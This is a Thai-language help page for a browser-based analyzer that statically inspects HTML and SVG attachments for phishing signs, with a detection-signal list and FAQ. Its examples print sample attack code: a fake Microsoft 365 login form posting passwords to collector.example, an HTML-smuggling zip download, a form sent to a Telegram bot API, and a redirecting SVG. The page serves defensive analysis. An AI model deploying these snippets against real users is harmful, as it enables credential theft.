ไฟล์และหน้าเว็บ

เครื่องมือวิเคราะห์ไฟล์แนบ HTML

ทำงานในเครื่องใหม่

เครื่องมือนี้ใช้ภาษาอังกฤษ; หน้านี้อธิบายด้วยภาษาของคุณ

ใช้เครื่องมือวิเคราะห์ไฟล์แนบ HTML

หน้าที่ของมันคืออะไร

โหลดหรือวางไฟล์แนบ HTML หรือ SVG เพื่อดูว่าไฟล์ดังกล่าวจะทำงานอย่างไรเมื่อเปิด: การดาวน์โหลดที่ซ่อนอยู่, แบบฟอร์มที่ส่งรหัสผ่านไปยังที่อื่น, การเปลี่ยนเส้นทาง, จุดปลายทางสำหรับการส่งข้อมูลออก และรหัสที่ถูกทำให้เข้าใจยาก ไฟล์ดังกล่าวจะถูกอ่านเป็นข้อความเท่านั้น และจะไม่ถูกแสดงผลหรือรัน

ระบบนี้ทำงานทั้งหมดในเบราว์เซอร์ของคุณ: ข้อมูลที่คุณป้อนจะไม่ถูกส่งขึ้นเซิร์ฟเวอร์เลย

วิธีใช้เครื่องมือวิเคราะห์ไฟล์แนบ HTML

  1. อย่าเปิดไฟล์นี้. บันทึกไฟล์แนบที่มีนามสกุล .html, .htm, .shtml, .xhtml หรือ .svg โดยไม่ต้องเปิดไฟล์นั้น หรือคัดลอกโค้ดต้นฉบับของไฟล์นั้นเป็นข้อความ
  2. โหลดหรือวางข้อความนี้. ลากไฟล์ลงบนกล่องหรือเลือกไฟล์ (ขนาดสูงสุด 25 MB) หรือวางลิงก์แหล่งที่มา (ขนาดสูงสุด 5 MB) แล้วกดปุ่ม "Analyze" หรือกด Ctrl+Enter
  3. อ่านคำพิพากษา. ช่องด้านบนจะแสดงข้อความว่า “ความเสี่ยงสูง”, “น่าสงสัย” หรือ “ไม่พบรูปแบบความเสี่ยงสูง”, พร้อมด้วยหมวดหมู่ที่อยู่ด้านหลัง และจำนวนผลการตรวจพบ, IOCs และ blobs ที่ฝังอยู่
  4. ตรวจสอบผลการวิจัย. แต่ละผลการตรวจพบจะแสดงระดับความรุนแรง ประเภท หมายเลขบรรทัด และแหล่งที่มาที่ตรงกัน พร้อมทั้งลิงก์และที่อยู่ที่ถูกทำให้ไม่สามารถใช้งานได้
  5. ส่งออกสิ่งที่คุณพบ. คัดลอก IOCs ในรูปแบบที่ได้รับการปรับแต่งแล้วหรือในรูปแบบดิบ หรือใช้ตัวเลือก "ส่งไปยัง" (Send to) สำหรับ IOC Converter, Abuse Report Generator หรือ สำหรับ blob ที่ฝังอยู่ ให้ใช้ Multi-Layer Decoder

ตัวอย่าง

แบบฟอร์มเข้าสู่ระบบที่มีที่อยู่ถูกกรอกไว้ล่วงหน้า

ข้อมูลเข้า
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
ผลลัพธ์ (บันทึกเมื่อวันที่2026-10-20)
High risk: techniques used by phishing and malware attachments

Credential harvesting

1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs

FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365

This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.

Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO	METHOD	FIELDS	LINE
hxxps://collector[.]example/login external Copy	POST	email u, password p, submit password	2
Requests and redirects with a literal target
VIA	TARGET	LINE
form	hxxps://collector[.]example/login other site	2
IOCs
URLs (1)
hxxps://collector[.]example/login

Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)

Static
…

ความเสี่ยงสูง: แบบฟอร์มการเข้าสู่ระบบส่งรหัสผ่านไปยัง collector[.]example, ชื่อหัวข้อระบุว่า Microsoft 365 อยู่ข้างช่องรหัสผ่าน, และสคริปต์ใช้ฟังก์ชัน atob เพื่อกรอกที่อยู่อีเมลจากส่วนย่อยของ URL รายการ IOC ประกอบด้วย URL ของ collector และโดเมนของมัน ซึ่งได้ถูกทำให้ไม่สามารถใช้งานได้

สิ่งที่ระบบตรวจสอบ

สัญญาณความหมายของคำนี้คืออะไร
การลักลอบนำ HTML เข้ามาค่าจะสูงเมื่อหน้าเว็บสร้างไฟล์ในหน่วยความจำ (Blob โดยใช้ createObjectURL หรือลิงก์ดาวน์โหลด หรือ msSaveOrOpenBlob) และเสนอให้ดาวน์โหลด
แบบฟอร์มแบบฟอร์มใดก็ตามที่ส่งข้อมูลไปยังเว็บไซต์อื่นจะได้รับการจัดอันดับสูง และชื่อหัวข้อจะระบุเมื่อแบบฟอร์มนั้นใช้รหัสผ่าน ตาราง Forms แสดงสถานที่ที่แบบฟอร์มแต่ละแบบส่งข้อมูลไป วิธีการส่ง และสนามข้อมูล
จุดปลายทางของการส่งข้อมูลออกการเรียกใช้ API ของ Telegram Bot, โทเค็นของบอท, webhooks ของ Discord และบริการเก็บข้อมูลจากแบบฟอร์ม เช่น formspree.io หรือ webhook.site ได้รับการประเมินว่าดีมาก
การซ่อนซ่อนatob, unescape, fromCharCode, การใช้ escape ที่ยาว และผลลัพธ์จากโปรแกรมทำให้โค้ดซับซ้อนที่รู้จักกันดี สตริงที่เข้ารหัสแบบตรงจะถูกถอดรหัสโดยไม่จำเป็นต้องรันมัน
รหัสแบบไดนามิกeval, ตัวสร้างฟังก์ชัน, document.write และการกำหนดค่าด้วย innerHTML จะสร้างโค้ดหรือมาร์กอัปในขณะทำงาน
การเปลี่ยนเส้นทางการเปลี่ยนแปลงตำแหน่ง, window.open, meta refresh และการอ่านส่วนย่อยของ URL ซึ่งชุดเครื่องมือมักใช้เพื่อส่งที่อยู่อีเมลของเหยื่อ
การวิเคราะห์แบบต่อต้านบล็อกการคลิกขวาหรือกด F12, คำสั่งในตัวดีบักเกอร์, การตรวจจับเครื่องมือสำหรับนักพัฒนา และการตรวจสอบเบราว์เซอร์อัตโนมัติ
เนื้อหาที่ฝังไว้data: URIs, บล็อก Base64 หรือ hex ที่ยาว และประเภทไฟล์ที่มันถอดรหัสออกมา, iframe ที่ซ่อนอยู่ และไฟล์ SVG ที่มีสคริปต์อยู่ภายใน
คำใบ้เกี่ยวกับแบรนด์ชื่อแบรนด์ในหัวข้อ โลโก้ หรือลิงก์ หากปรากฏอยู่ข้างช่องกรอกรหัสผ่าน จะถูกจัดระดับเป็นระดับกลาง

ตัวอย่างเพิ่มเติม

การดาวน์โหลดที่สร้างขึ้นในเบราว์เซอร์

ข้อมูลเข้า
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>
ผล

ความเสี่ยงสูง, เหตุผล: การแทรก HTML อย่างลับๆ: พบ 1 รายการที่มีความเสี่ยงสูง (หน้าเว็บสร้างไฟล์ในเบราว์เซอร์และเสนอให้ดาวน์โหลด) และ 4 รายการที่มีความเสี่ยงระดับกลางสำหรับ atob, new Blob, URL.createObjectURL และแอตทริบิวต์ download ไม่มี IOCs

รหัสผ่านที่ส่งไปยังบอท Telegram

ข้อมูลเข้า
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>
ผล

ความเสี่ยงสูง, เหตุผล: การรั่วไหลของข้อมูล: สคริปต์ส่งข้อมูลจากหน้าที่มีช่องใส่รหัสผ่านไปยัง api.telegram.org พร้อมทั้งการค้นพบจุดปลายทางของ Telegram Bot API ผลการค้นพบระดับกลางรวมถึงการดึงข้อมูล (fetch), ช่องใส่รหัสผ่าน และแบบฟอร์มเข้าสู่ระบบโดยไม่มีการดำเนินการจากภายนอก

ภาพ SVG ที่เปลี่ยนเส้นทาง

ข้อมูลเข้า
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>
ผล

ความเสี่ยงสูง: ไฟล์ SVG ที่มีสคริปต์ พร้อมกับการเปลี่ยนเส้นทางระดับกลาง และการตรวจพบ btoa ระดับต่ำ เป้าหมายปรากฏในส่วน "Requests and redirects" ในฐานะเว็บไซต์อื่น และ URL ของ XML namespace ไม่ถูกรวมไว้ใน IOCs.

คำถามที่พบบ่อย

เครื่องวิเคราะห์นี้ตรวจสอบอะไร?

ระบบจะตรวจสอบเนื้อหาต้นฉบับกับกฎเกณฑ์สำหรับการลักลอบส่ง HTML (Blob, createObjectURL, msSaveOrOpenBlob, ลิงก์ดาวน์โหลด, data: URIs และ blob Base64 ที่ยาว), แบบฟอร์มและสคริปต์ที่ส่งข้อมูลไปยังเว็บไซต์อื่น, การส่งข้อมูลออกผ่าน Telegram และ Discord, การเปลี่ยนเส้นทาง, iframe ที่ซ่อนอยู่, เครื่องมือทำให้โค้ดซับซ้อน และเทคนิคป้องกันการวิเคราะห์. นอกจากนี้ยังถอดรหัสค่าตัวอักษร atob, unescape และ fromCharCode โดยไม่ต้องรันมัน และแสดงรายการทุก URL, โดเมน, ที่อยู่ IP และที่อยู่อีเมลที่พบ โดยได้ทำให้ปลอดภัยแล้ว

มันอาจพลาดข้อมูลบางอย่างหรือส่งสัญญาณเตือนผิดได้หรือไม่?

ใช่ครับ โค้ดที่ได้รับการเข้ารหัสหรือโค้ดที่สร้างขึ้นในระหว่างการทำงานสามารถซ่อนพฤติกรรมของมันจากการสแกนแบบสถิตได้ และหน้าเว็บทั่วไปก็ใช้ fetch, innerHTML หรือภาพแบบอินไลน์ ดังนั้นโปรดอ่านโค้ดต้นฉบับที่ตรงกันซึ่งแสดงอยู่ข้างผลการตรวจพบแต่ละรายการ สำหรับการถอดการบดบังและการจำลองในแซนด์บ็อกซ์ ให้ใช้ JS Analyzer

ไฟล์นี้ถูกอัปโหลดหรือเปิดแล้วหรือไม่?

ไม่ครับ ไฟล์ดังกล่าวจะถูกอ่านเป็นข้อความในเบราว์เซอร์ของคุณ และจะไม่ถูกแสดงผล ดำเนินการ หรือส่งไปที่ใดทั้งสิ้น ไฟล์ที่มีขนาดไม่เกิน 25 MB จะถูกรับไว้ได้ ส่วนไฟล์ที่มีขนาดใหญ่มาก จะมีการสแกนส่วนมาร์กอัป 4 MB แรกและ 1 MB สุดท้าย และ blobs ที่ฝังอยู่จะถูกรวมนับในขนาดไฟล์ทั้งหมด

ทำไมภาพ SVG จึงถูกตรวจสอบเหมือนหน้าเว็บ?

ไฟล์ SVG เป็น XML ที่เบราว์เซอร์เปิดเหมือนหน้าเว็บ ดังนั้นจึงสามารถบรรจุสคริปต์ ลิงก์ และ HTML ที่ฝังอยู่ได้ เนื่องจากภาพไม่จำเป็นต้องใช้สคริปต์ จึงทำให้สคริปต์ภายในไฟล์ SVG ได้รับการจัดอันดับสูง

Blobs ที่ฝังตัวคืออะไร?

สตริง Base64, hex หรือ byte-array ที่ยาวภายในไฟล์ สตริงเหล่านี้จะถูกถอดรหัสในหน่วยความจำและถูกติดป้ายด้วยประเภทไฟล์ที่มันแปลงเป็น; คุณสามารถคัดลอกสตริงหนึ่งหรือส่ง blob ข้อความไปยัง Multi-Layer Decoder ได้

ระดับความรุนแรงเหล่านี้มีความหมายอย่างไร?

ระดับสูง ระบุรูปแบบที่การฟิชชิ่งและไฟล์แนบมัลแวร์มักใช้ เช่น การลักลอบนำข้อมูลออก การรั่วไหลของข้อมูลจากจุดปลายทาง หรือการส่งข้อมูลจากแบบฟอร์มรหัสผ่านไปยังที่อื่น ระดับกลาง ครอบคลุมเทคนิคที่หน้าเว็บทั่วไปก็ใช้เช่นกัน การค้นพบหนึ่งระดับสูงทำให้ผลการประเมินเป็น “ความเสี่ยงสูง”

คำอธิบายศัพท์

การวิจัยของ PhishDestroy